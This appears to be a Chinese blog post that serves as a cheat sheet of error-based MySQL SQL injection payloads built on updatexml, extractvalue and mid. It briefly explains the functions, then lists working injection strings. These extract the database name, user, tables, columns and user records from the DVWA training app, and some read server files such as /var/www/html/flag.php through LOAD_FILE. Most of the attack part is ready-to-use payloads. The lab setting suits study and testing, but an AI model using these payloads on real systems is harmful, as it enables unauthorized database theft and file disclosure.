zoukankan      html  css  js  c++  java
  • SQL注入之报错payload整理(updatexml extractvalue floor)

    知识整理

    • updatexml()函数
      updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。
      作用:改变文档中符合条件的节点的值
      语法: updatexml(XML_document,XPath_string,new_value)
      第一个参数:是string格式,为XML文档对象的名称,文中为Doc
      第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】
      第三个参数:string格式,替换查找到的符合条件的数据
      updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
      例如:
      select * from test where ide = 1 and (updatexml(1,0x7e,3));
      由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。

    • extractvalue()函数
      此函数从目标XML中返回包含所查询值的字符串语法:extractvalue(XML_document,xpath_string)
      第一个参数:string格式,为XML文档对象的名称
      第二个参数:xpath_string(xpath格式的字符串)
      select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
      extractvalue使用时当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
      select user,password from users where user_id=1 and (extractvalue(1,0x7e));
      由于0x7e就是~不属于xpath语法格式,因此报出xpath语法错误。

    • mid()函数
      MID(column_name,start[,length])
      | 参数 | 描述 |
      | ---- | ---- | ---- |
      | column_name | 必需。要提取字符的字段。 |
      | start | 必需。规定开始位置(起始值是 1)。 |
      | length | 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。 |

    例:str=“123456” mid(str,2,1) 结果为2

    information_schema
    
    schemata(schema_name)
    
    tables(table_schema,table_name)
    
    columns(table_schema,table_name,column_name)
    
    select schema_name from information_schema.schemata;
    
    select table_name from information_schema.tables where table_schema='dvwa';
    
    select column_name from information_schema.columns where table_name='users' and table_schema='dvwa';
    
    select concat(username,password) from dvwa.users;
    

    SQL注入爆破

    updatexml(32位回显限制)

    1' and updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir),1)#
    //爆出数据库及相关信息
    1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) #
    //爆当前数据库表信息
    1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),0x7e),1) #
    //爆user表字段信息
    1' and updatexml(1,concat(0x7e,(select group_concat(first_name,0x7e,last_name) from dvwa.users)),1) #
    //爆数据库内容
    updatexml(0,concat(1,select (LOAD_FILE('/var/www/html/flag.php')),1),0)#
    //读文件内容
    

    extractvalue(32位回显限制)

    1' and extractvalue(1,concat(0x7e,user(),0x7e,database())) #
    1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) #
    1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))) #
    1' and extractvalue(1,concat(0x7e,(select group_concat(user_id,0x7e,first_name,0x3a,last_name) from dvwa.users))) #
    and (extractvalue(1,concat(0x7e,(select (LOAD_FILE('D:/1.php'))),0x7e)))#
    

    extractvalue()函数、mid()函数

    and updatexml(1,concat(1,0,(select mid(load_file('/var/www/html/flag.php'),30))),1)#
    and (extractvalue(1,concat(0x7e,(select(LOAD_FILE('D:/1.php'))),0x7e)))#
    and%20(extractvalue(1,concat(0,(select mid(LOAD_FILE('/var/www/html/flag.php'),20)),0)))#
    
  • 相关阅读:
    PsySH——PHP交互式控制台
    PHP通过ssh或socks5读取远程服务器的mysql数据库
    构建:vue项目配置后端接口服务信息
    module.exports用法
    PhpStorm连接服务器,开始自动上传功能
    JavaScript Array.some()方法用法
    vue-router query和params传参(接收参数),$router、$route的区别
    ES6箭头函数(Arrow Functions)
    工作中常用到的ES6语法
    VueJs2.0建议学习路线
  • 原文地址:https://www.cnblogs.com/renhaoblog/p/14080633.html
Copyright © 2011-2022 走看看